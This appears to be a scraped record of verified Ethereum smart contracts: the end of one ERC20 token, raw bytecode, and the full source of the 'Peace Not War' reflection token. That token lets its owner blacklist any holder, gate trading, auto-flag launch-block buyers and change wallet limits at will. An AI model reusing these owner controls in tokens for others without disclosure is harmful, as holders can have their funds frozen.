function changeAdmin(address adminCandidate) onlyAdmin external {
_adminCandidate = adminCandidate;
emit AdminChangeRequested(_admin, adminCandidate);
}
function confirmNewAdmin() onlyAdminCandidate external {
emit AdminChangeConfirmed(_admin, _adminCandidate);
_admin = _adminCandidate;
_adminCandidate = address(0);
}
function mint(address to) onlyAdmin external {
require(_totalSupply == 0, "already minted");
_mint(to, _maxTotalSupply);
}
function setStatsTracker(address statsTracker) onlyAdmin external {
_statsTracker = statsTracker;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_statsTracker != address(0)) {
IStatsTracker(_statsTracker).updateTransferStats(address(this), sender, recipient, amount);
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) private {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _ensureNotZeroAddress(address _addr) private pure {
require(_addr != address(0), "zero address");
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636a627842116100ad578063a457c2d711610071578063a457c2d714610286578063a9059cbb14610299578063bbaa0bd2146102ac578063dd62ed3e146102bf578063ef20accb146102f857600080fd5b80636a6278421461021a57806370a082311461022f578063828a7649146102585780638f2839701461026b57806395d89b411461027e57600080fd5b806323b872dd116100f457806323b872dd146101c3578063313ce567146101d65780633730837c146101eb57806339509351146101f45780633dfc918a1461020757600080fd5b806301bc45c91461013157806306fdde0314610166578063095ea7b31461017b5780631800aadb1461019e57806318160ddd146101b1575b600080fd5b6007546101499061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61016e610300565b60405161015d919061109b565b61018e610189366004611072565b610392565b604051901515815260200161015d565b600854610149906001600160a01b031681565b6004545b60405190815260200161015d565b61018e6101d1366004610f79565b6103a8565b60075460405160ff909116815260200161015d565b6101b560035481565b61018e610202366004611072565b610457565b600954610149906001600160a01b031681565b61022d610228366004610f26565b610493565b005b6101b561023d366004610f26565b6001600160a01b031660009081526001602052604090205490565b61022d610266366004610fb4565b610537565b61022d610279366004610f26565b6106d6565b61016e610791565b61018e610294366004611072565b6107a0565b61018e6102a7366004611072565b610839565b61022d6102ba366004610f26565b610846565b6101b56102cd366004610f47565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61022d6108bc565b60606005805461030f90611112565b80601f016020809104026020016040519081016040528092919081815260200182805461033b90611112565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f33848461098d565b50600192915050565b60006103b5848484610ab1565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561043f5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61044c853385840361098d565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161039f91859061048e9086906110ee565b61098d565b60075460408051808201909152600b81526a185d5d1a0819985a5b195960aa1b60208201529061010090046001600160a01b031633146104e65760405162461bcd60e51b8152600401610436919061109b565b50600454156105285760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610436565b61053481600354610d06565b50565b600054610100900460ff1680610550575060005460ff16155b6105b35760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610436565b600054610100900460ff161580156105d5576000805461ffff19166101011790555b6105de8a610de5565b600084116106265760405162461bcd60e51b81526020600482015260156024820152747a65726f206d617820746f74616c20737570706c7960581b6044820152606401610436565b60078054610100600160a81b0319166101006001600160a01b038d1602179055600384905561065760058a8a610e2a565b5061066460068888610e2a565b506007805460ff191660ff87161790556001600160a01b0383161561068d5761068d8385610d06565b6001600160a01b038216156106b857600980546001600160a01b0319166001600160a01b0384161790555b80156106ca576000805461ff00191690555b50505050505050505050565b60075460408051808201909152600b81526a185d5d1a0819985a5b195960aa1b60208201529061010090046001600160a01b031633146107295760405162461bcd60e51b8152600401610436919061109b565b50600880546001600160a01b0319166001600160a01b0383811691821790925560075460408051610100909204909316815260208101919091527fabadef65e57dcbc94a1edc7f70476a3abca7121015c7358dd71b9ad8e434895f910160405180910390a150565b60606006805461030f90611112565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156108225760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610436565b61082f338585840361098d565b5060019392505050565b600061039f338484610ab1565b60075460408051808201909152600b81526a185d5d1a0819985a5b195960aa1b60208201529061010090046001600160a01b031633146108995760405162461bcd60e51b8152600401610436919061109b565b50600980546001600160a01b0319166001600160a01b0392909216919091179055565b60085460408051808201909152600b81526a185d5d1a0819985a5b195960aa1b6020820152906001600160a01b0316331461090a5760405162461bcd60e51b8152600401610436919061109b565b50600754600854604080516101009093046001600160a01b03908116845290911660208301527f7cb6040a31264d0f3fa4024e96aa137a3c4afbd8bb1162e1046ee09c5d7e162a910160405180910390a16008805460078054610100600160a81b0319166101006001600160a01b038416021790556001600160a01b0319169055565b6001600160a01b0383166109ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610436565b6001600160a01b038216610a505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610436565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610436565b6001600160a01b038216610b775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610436565b6009546001600160a01b031615610bfd576009546040516319b89ec360e21b81523060048201526001600160a01b038581166024830152848116604483015260648201849052909116906366e27b0c90608401600060405180830381600087803b158015610be457600080fd5b505af1158015610bf8573d6000803e3d6000fd5b505050505b6001600160a01b03831660009081526001602052604090205481811015610c755760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610436565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610cac9084906110ee565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cf891815260200190565b60405180910390a350505050565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610436565b8060046000828254610d6e91906110ee565b90915550506001600160a01b03821660009081526001602052604081208054839290610d9b9084906110ee565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0381166105345760405162461bcd60e51b815260206004820152600c60248201526b7a65726f206164647265737360a01b6044820152606401610436565b828054610e3690611112565b90600052602060002090601f016020900481019282610e585760008555610e9e565b82601f10610e715782800160ff19823516178555610e9e565b82800160010185558215610e9e579182015b82811115610e9e578235825591602001919060010190610e83565b50610eaa929150610eae565b5090565b5b80821115610eaa5760008155600101610eaf565b80356001600160a01b0381168114610eda57600080fd5b919050565b60008083601f840112610ef0578182fd5b50813567ffffffffffffffff811115610f07578182fd5b602083019150836020828501011115610f1f57600080fd5b9250929050565b600060208284031215610f37578081fd5b610f4082610ec3565b9392505050565b60008060408385031215610f59578081fd5b610f6283610ec3565b9150610f7060208401610ec3565b90509250929050565b600080600060608486031215610f8d578081fd5b610f9684610ec3565b9250610fa460208501610ec3565b9150604084013590509250925092565b600080600080600080600080600060e08a8c031215610fd1578485fd5b610fda8a610ec3565b985060208a013567ffffffffffffffff80821115610ff6578687fd5b6110028d838e01610edf565b909a50985060408c013591508082111561101a578687fd5b506110278c828d01610edf565b90975095505060608a013560ff81168114611040578485fd5b935060808a0135925061105560a08b01610ec3565b915061106360c08b01610ec3565b90509295985092959850929598565b60008060408385031215611084578182fd5b61108d83610ec3565b946020939093013593505050565b6000602080835283518082850152825b818110156110c7578581018301518582016040015282016110ab565b818111156110d85783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561110d57634e487b7160e01b81526011600452602481fd5b500190565b600181811c9082168061112657607f821691505b6020821081141561114757634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220816ca6d6e83b23e38ea9da6dc4c578ed352a84e24942a4946885ab4de127aa0264736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 8,286 |
0x3606b26dde14bbefe6ac3335536ac42f55af24ab
|
/**
*Submitted for verification at Etherscan.io on 2022-02-28
*/
/*
https://t.me/PeaceNotWarETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PeaceNotWar is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Peace Not War";//
string private constant _symbol = "PNW";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 10;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x05DEE8Ccdf34172E051434C84BbB868558889828);//
address payable private _marketingAddress = payable(0x4b0548713B43980548057C233e2F46323b7604BE);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 15000000 * 10**9; //
uint256 public _maxWalletSize = 30000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 12, "Buy tax must be between 0% and 12%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 12, "Sell tax must be between 0% and 12%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054a578063dd62ed3e14610560578063ea1644d5146105a6578063f2fde38b146105c657600080fd5b8063a9059cbb146104c5578063bfd79284146104e5578063c3c8cd8014610515578063c492f0461461052a57600080fd5b80638f9a55c0116100d15780638f9a55c01461044357806395d89b411461045957806398a5c31514610485578063a2a957bb146104a557600080fd5b80637d1db4a5146103ef5780638da5cb5b146104055780638f70ccf71461042357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b4c565b6105e6565b005b34801561020a57600080fd5b5060408051808201909152600d81526c2832b0b1b2902737ba102bb0b960991b60208201525b60405161023d9190611c11565b60405180910390f35b34801561025257600080fd5b50610266610261366004611c66565b610685565b604051901515815260200161023d565b34801561028257600080fd5b50601554610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611c92565b61069c565b3480156102ff57600080fd5b506102c560195481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601654610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611cd3565b610705565b34801561037157600080fd5b506101fc610380366004611d00565b610750565b34801561039157600080fd5b506101fc610798565b3480156103a657600080fd5b506102c56103b5366004611cd3565b6107e3565b3480156103c657600080fd5b506101fc610805565b3480156103db57600080fd5b506101fc6103ea366004611d1b565b610879565b3480156103fb57600080fd5b506102c560175481565b34801561041157600080fd5b506000546001600160a01b0316610296565b34801561042f57600080fd5b506101fc61043e366004611d00565b6108b7565b34801561044f57600080fd5b506102c560185481565b34801561046557600080fd5b50604080518082019091526003815262504e5760e81b6020820152610230565b34801561049157600080fd5b506101fc6104a0366004611d1b565b610903565b3480156104b157600080fd5b506101fc6104c0366004611d34565b610932565b3480156104d157600080fd5b506102666104e0366004611c66565b610ae8565b3480156104f157600080fd5b50610266610500366004611cd3565b60116020526000908152604090205460ff1681565b34801561052157600080fd5b506101fc610af5565b34801561053657600080fd5b506101fc610545366004611d66565b610b49565b34801561055657600080fd5b506102c560085481565b34801561056c57600080fd5b506102c561057b366004611dea565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b257600080fd5b506101fc6105c1366004611d1b565b610bea565b3480156105d257600080fd5b506101fc6105e1366004611cd3565b610c19565b6000546001600160a01b031633146106195760405162461bcd60e51b815260040161061090611e23565b60405180910390fd5b60005b81518110156106815760016011600084848151811061063d5761063d611e58565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067981611e84565b91505061061c565b5050565b6000610692338484610d03565b5060015b92915050565b60006106a9848484610e27565b6106fb84336106f685604051806060016040528060288152602001611f9e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113da565b610d03565b5060019392505050565b6000546001600160a01b0316331461072f5760405162461bcd60e51b815260040161061090611e23565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077a5760405162461bcd60e51b815260040161061090611e23565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107cd57506014546001600160a01b0316336001600160a01b0316145b6107d657600080fd5b476107e081611414565b50565b6001600160a01b0381166000908152600260205260408120546106969061144e565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260040161061090611e23565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b815260040161061090611e23565b6611c37937e080008111156107e057601755565b6000546001600160a01b031633146108e15760405162461bcd60e51b815260040161061090611e23565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161061090611e23565b601955565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161061090611e23565b60028411156109bb5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b6064820152608401610610565b600c821115610a175760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261322560f01b6064820152608401610610565b6002831115610a775760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b6064820152608401610610565b600c811115610ad45760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231322560e81b6064820152608401610610565b600993909355600b91909155600a55600c55565b6000610692338484610e27565b6013546001600160a01b0316336001600160a01b03161480610b2a57506014546001600160a01b0316336001600160a01b0316145b610b3357600080fd5b6000610b3e306107e3565b90506107e0816114d2565b6000546001600160a01b03163314610b735760405162461bcd60e51b815260040161061090611e23565b60005b82811015610be4578160056000868685818110610b9557610b95611e58565b9050602002016020810190610baa9190611cd3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bdc81611e84565b915050610b76565b50505050565b6000546001600160a01b03163314610c145760405162461bcd60e51b815260040161061090611e23565b601855565b6000546001600160a01b03163314610c435760405162461bcd60e51b815260040161061090611e23565b6001600160a01b038116610ca85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610610565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610610565b6001600160a01b038216610dc65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610610565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b20